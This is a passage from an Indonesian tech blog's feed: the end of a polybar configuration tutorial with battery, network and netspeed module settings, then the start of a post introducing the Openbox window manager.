&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-volume&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; %percentage%%&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-muted&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; muted&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-muted-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.disabled}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;[module/battery]&lt;a href=&quot;#modulebattery&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sesuai namanya, modul ini akan menampilkan status battery laptop atau komputer kita.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.ini&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; Battery&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[module/battery]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; internal/battery&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;battery&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; BAT0&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adapter&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; AC&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;full-at&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 90&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format-charging&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;animation-charging&amp;gt;&amp;lt;label-charging&amp;gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-charging-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.foreground}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-charging-background&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.background}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format-discharging&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;ramp-capacity&amp;gt;&amp;lt;label-discharging&amp;gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-discharging-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.foreground}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-discharging-background&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.background}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format-full-prefix&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;  &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format-full-prefix-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.foreground}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format-full-prefix-background&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.background}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ramp-capacity-0&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;  &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ramp-capacity-0-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.alert}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ramp-capacity-1&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;  &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ramp-capacity-2&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;  &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ramp-capacity-3&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;  &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ramp-capacity-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.primary}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ramp-capacity-background&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.background}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;animation-charging-0&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;   &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;animation-charging-1&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;   &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;animation-charging-2&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;   &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;animation-charging-3&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;   &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;animation-charging-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.primary}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;animation-charging-background&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.background}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;animation-charging-framerate&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 750&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;[network-base] &amp;amp; [module/eth]&lt;a href=&quot;#network-base--moduleeth&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Blok &lt;strong&gt;[network-base]&lt;/strong&gt; adalah konfigurasi untuk membuat inisiasi pada jaringan internet di laptop atau komputer kita.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.ini&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; Network Base&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[network-base]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; internal/network&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;interval&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 5&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format-connected&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &amp;lt;label-connected&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format-disconnected&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &amp;lt;label-disconnected&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-disconnected&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; %{F&lt;/span&gt;&lt;/span&gt;&lt;span&gt;#F0C674}%ifname%%{F#707880} disconnected&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Adapun module [module/eth0] digunakan untuk menampilkan status di polybar berupa alamat ip private yang tersambung ke jaringan internet (kebetulan saya menggunakan &lt;em&gt;virtual machine&lt;/em&gt;, jadi koneksinya ke interface VLAN alias eth0, bukan wi-fi).&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.ini&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; Network (eth)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[module/eth]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;inherit&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; network-base&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;interface-type&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; wired&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-connected&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; %{F&lt;/span&gt;&lt;/span&gt;&lt;span&gt;#74F0EB}%{F-} %local_ip%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;[module/netspeed]&lt;a href=&quot;#modulenetspeed&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Module ini nanti akan menampilkan status &lt;em&gt;upload&lt;/em&gt; dan &lt;em&gt;download&lt;/em&gt; koneksi jaringan internet saya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.ini&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; NetSpeed&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[module/netspeed]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; internal/network&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;interface&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; enp0s3&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;interval&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0.1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;format-connected&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;label-connected&amp;gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-connected&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;%{F#74F0EB}▼%{F-} %downspeed:3% %{F#74F0EB}▲%{F-} %upspeed:3%&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-connected-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.foreground}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;label-connected-background&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.background}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kelima module tersebut akan menampilkan status dari, secara berurutan, filesystem, pulseaudio, battery, eth0, dan netspeed di polybar bagian kanan:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;566&quot; height=&quot;343&quot; src=&quot;/_astro/ss8.6ueplefI_CvKeG.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Oke, sekian dulu tutorial menginstall dan mengonkigurasi polybar.&lt;/p&gt;&lt;p&gt;Sampai jumpa lagi di kesempatan yang lain! ⋆.˚🦋⋆ 🫶🏻🥹❤️‍🩹&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Btw, openbox + polybar = awesome!
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/ss9.C_metqhF_1HnUaC.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com../images/polybar/polybar&quot; target=&quot;_blank&quot;&gt;https://github.com../images/polybar/polybar&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r../images/polybar/comments/c2gkmp/how_to_align_polybar_to_center/&quot; target=&quot;_blank&quot;&gt;https://www.reddit.com/r../images/polybar/comments/c2gkmp/how_to_align_polybar_to_center/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bandithijo.dev/blog/polybar-mudah-dikonfig-dan-praktis&quot; target=&quot;_blank&quot;&gt;https://bandithijo.dev/blog/polybar-mudah-dikonfig-dan-praktis&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Openbox - Simple and Easy Window Manager for Beginners</title><link>https://shangdi.github.io/posts/tech/openbox/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/openbox/</guid><description>As the title said, Openbox is simple and easy window manager for beginners</description><pubDate>Thu, 30 May 2024 01:49:56 GMT</pubDate><content:encoded>&lt;p&gt;Dari 1-10 (dengan skala 1: paling tidak cantik dan 10: paling cantik), seberapa cantik tampilan tangkapan layar pada cover artikel ini? &lt;em&gt;Screenshot&lt;/em&gt; tersebut saya “curi” dari sebuah akun github bernama &lt;a href=&quot;https://github.com/addy-dclxvi&quot; target=&quot;_blank&quot;&gt;addy-dclxvi&lt;/a&gt; pada reponya, &lt;a href=&quot;https://github.com/addy-dclxvi/openbox-theme-collections&quot; target=&quot;_blank&quot;&gt;openbox-theme-collection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Kalau kalian mengunjungi repo tersebut, kalian akan menemukan keindahan-keindahan sebuah &lt;em&gt;window manager&lt;/em&gt; bernama openbox di sana. Keindahan yang saya maksud di sini bukan keindahan biasa, tapi &lt;strong&gt;keindahan&lt;/strong&gt; yang muncul dari &lt;strong&gt;kesederhanaan&lt;/strong&gt; namun mampu memberikan kesan &lt;strong&gt;elegan&lt;/strong&gt; dan &lt;strong&gt;nostalgic&lt;/strong&gt; (oke, setidaknya ini menurut saya pribadi, hehe). Kita bahas…&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Mengapa indah?&lt;/strong&gt; Karena openbox adalah salah satu &lt;em&gt;window manager&lt;/em&gt; di linux yang (sangat) mudah di-kustomisasi sesuka hati penggunanya.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mengapa sederhana?&lt;/strong&gt; Karena openbox adalah salah satu &lt;em&gt;window manager&lt;/em&gt; yang bisa digunakan oleh “siapapun - pemula maupun sesepuh” dan “dimanapun - di laptop jadul, laptop &lt;em&gt;high end&lt;/em&gt;, atau &lt;em&gt;virtual machine&lt;/em&gt; (VM)”.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mengapa elegan dan nostalgic?&lt;/strong&gt; Karena openbox memang memungkinkan penggunanya untuk tetap elegan meski sedang bernostalgia, misalnya.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Tiga alasan tersebut menjadi alasan utama openbox sebagai window manager alternatif desktop environment, khususnya bagi pemula di linux yang kebetulan mempunyai &lt;em&gt;resource&lt;/em&gt; (&lt;strong&gt;re:&lt;/strong&gt; cpu &amp;amp; ram) terbatas.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;
Untuk penjelasan lebih jauh tentang openbox, sila baca-baca &lt;a href=&quot;https://en.wikipedia.org/wiki/Openbox&quot; target=&quot;_blank&quot;&gt;di sini&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Beberapa distro linux ada yang secara default memang menggunakan &lt;em&gt;window manager&lt;/em&gt; openbox ini tanpa &lt;em&gt;desktop environment&lt;/em&gt; (DE), diantaranya adalah&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
